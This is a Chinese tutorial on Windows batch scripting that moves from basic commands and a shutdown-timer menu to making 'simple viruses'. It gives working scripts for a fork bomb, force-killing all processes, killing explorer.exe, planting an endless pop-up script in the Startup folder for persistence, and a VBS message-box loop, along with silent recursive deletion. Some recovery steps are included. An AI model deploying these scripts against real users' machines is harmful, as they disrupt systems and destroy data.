批处理以及简单病毒的制作
注:建议实验在虚拟机中进行。
bat批处理
批处理 (Batch) 是一种在 Windows 操作系统中执行一系列命令或脚本的方式。通过编写批处理文件,可以将多个命令组合在一起以自动化任务、执行批量操作或简化复杂的命令行任务。下面是一些常用的批处理命令:
echo
: 显示指定的文本或变量值。
示例:echo Hello, World!
set
: 设置或显示环境变量的值。
示例:set myVariable=Hello
goto
: 跳转到批处理文件中的指定标签位置。pause
: 暂停批处理脚本的执行,等待用户按下任意键继续。del
或erase
: 删除文件。copy
: 复制文件或目录。move
: 移动文件或目录。ping
: 发送 ICMP 回显请求到指定的主机地址,用于测试网络连接。ipconfig
: 显示当前的网络配置信息。shutdown
: 关闭或重启计算机。
新建批处理
1.新建一个文本文档
2.将扩展名改为.bat
3.打开编辑
批处理用法
想快速无提示删除某个目录下的内容
如想快速无提示删除f盘下的test目录下的内容,输入以下内容
f:
cd \
cd test
del * /s /q
test目录在运行之前的目录:
然后关闭批处理文件,双击批处理文件,发现文件已经删除
用命令来执行批处理文件
用命令来执行批处理文件能显示出具体的操作步骤:
如想要执行1.bat,则按win+r,输入cmd进入命令行解释器,输入1.bat
1.bat
若不想显示出具体的操作步骤,可以在头部加上@echo off,表禁止命令回显,只有删除提示
@echo off
f:
cd \
cd test
del * /s /q
使用命令执行结果:
若也不想要删除提示,可以写到nul里面去
然后再运行,发现删除提示也没有了
双击批处理,不想让它闪退,加pause,保存
然后双击批处理,发现暂停
设置标题
设置一个定时小程序,标题为“定时关机小程序”
@echo off #禁止命令回显,如果是删除文件,只有删除提示
title 定时关机小程序
color a0 #换颜色
echo ============================================= #输出
echo. #换行
echo 欢迎使用关机定时小程序
echo.
echo =============================================
set /p time=请输入时间: #设置变量使用“set”,/p为参数,time变量值
shutdown -s -t %time% # %time% 引用变量:time
pause #暂停
结果:
多功能小程序的制作
@echo off
title 小程序
:mnue
cls #清屏
echo ==========================
echo. #换行
echo 菜单 #输出
echo 1.定时关机 #输出
echo 2.取消定时任务
echo 3.查看IP
echo 4.退出
echo.
echo ===========================
set /p num=请输入选项: #定义变量num
if "%num%"=="1" goto a #当num=1时,跳转到a步骤
if "%num%"=="2" goto b #当num=2时,跳转到b步骤
if "%num%"=="3" goto c #当num=3时,跳转到c步骤
if "%num%"=="4" goto d #当num=4时,跳转到d步骤
:a #定时关机
set /p time=请输入时间:
shutdown -s -t %time%
pause #暂停
goto mnue #跳转到mnue
:b #取消定时任务
shutdown -a
pause
goto mnue
:c #查看IP
ipconfig
pause
goto mnue
:d #退出
exit
结果:
输入1,回车,在输入3600(60分钟),系统则会提示60分钟后关机
输入2,回车,则取消关机任务
输入5,回车,表示查看当前用户
简单病毒
1.在.bat文档中编辑
start cmd
%0 #%0 表示无线循环执行整个bat
start调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。
执行结果:
2.电脑蓝屏
taskkill /f /fi "pid ne 1" # “/f”表示强制,“/fi”表示对ID进行过滤,ne表示除了pid号为1的进程不杀其余都杀掉,有空格需要双引号引起来
taskkill
用于终止运行中的进程,表示杀进程。/f
是一个参数,表示强制终止进程。/fi
是一个参数,用于指定进程过滤器(filter)。"pid ne 1"
是一个过滤器表达式,用于筛选进程。在这个例子中,pid
代表进程的 ID(PID),ne
表示不等于,1
是要排除的进程 ID。换句话说,这个命令会终止除了进程 ID 为 1(通常是系统进程)之外的所有进程。
执行结果
3.清空桌面
taskkill /im explorer.exe /f #taskkill表示杀进程 /im 表示过滤进程名称,/f 表示强制
# explorer.exe是Windows程序管理器或者文件资源管理器,它用于管理Windows图形壳,包括桌面和文件管理,删除该程序会导致Windows图形界面无法使用。(explorer:探索者; 探险者; 勘探者; 考察者;)
/im
是一个参数,用于指定要终止的进程的映像名称(Image Name)。在这个例子中,我们指定的映像名称是explorer.exe
,它对应于 Windows 的资源管理器进程。/f
是一个参数,表示强制终止进程而不向用户发出警告或确认。
执行结果:
回复电脑蓝屏:
(1)点击“ctrl+alt+delete”
(2)启动任务管理器
(3)新建任务
浏览
(4)找到Windows目录下的explorer.exe文件,点击打开
(5)确定
(6)回复成功
用命令把无限弹框写进启动项中
@echo off
title jw
color 2f
echo start cmd > C:\Windows\windows.bat #覆盖
echo %%0 >>C:\Windows\windows.bat #追加,如果只输入一个%,表示当前的文件名称
#找到启动项的路径,把Windows.bat复制到启动项目录中
#这里计算机的启动路径为:C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Statrt Menu\Programs\Startup
copy Windows.bat >>"C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Statrt Menu\Programs\Startup" >nul #因为有空格,所以要使用引号括起来,nul:禁止回显
pause #暂停
然后重启计算机,无限弹框
vb病毒
创建一个文件夹,将后缀改为.vb,右击编辑:
do
msgbox "jw666"
loop #结束do循环
- ‘masbox’: 这是一个显示消息框的命令,将在桌面上显示一个消息框,其中包含文本消息 “jw666”。
loop
: 这是一个批处理中的关键字,用于创建一个无限循环。在这种情况下,循环将持续执行下去,直到手动中断或触发退出循环的条件。
结果显示:
解决办法:因为vbs是使用wscript进程作为守护进程来运行的,关闭该进程,就不会再显示。